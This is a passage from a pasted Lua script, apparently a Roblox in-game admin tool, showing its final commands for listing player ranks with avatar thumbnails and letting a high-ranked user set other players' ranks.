  2486. ypcall(function()
  2487. Ping(tostring(i)..": "..tostring(v), Speaker)
  2488. end)
  2489. end
  2490. end)
  2491.  
  2492. Command("Ranks", 0, 'Shows all players in ranking table',
  2493. function(Msg,Speaker)
  2494. for _,v in pairs(Rankings) do
  2495. Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  2496. end
  2497. end)
  2498.  
  2499.  
  2500. Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
  2501. local Split = GetSplit(Msg)
  2502. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2503. local Rank = tonumber(Msg:sub(Split + 1))
  2504. if #PlrTab > 0 then
  2505. for _,v in pairs(PlrTab) do
  2506. if v.Name ~= Owner then
  2507. ChangeRank(v, Rank)
  2508. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2509. end
  2510. end
  2511. end
  2512. end)
  2513.  
  2514. print("Loaded")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement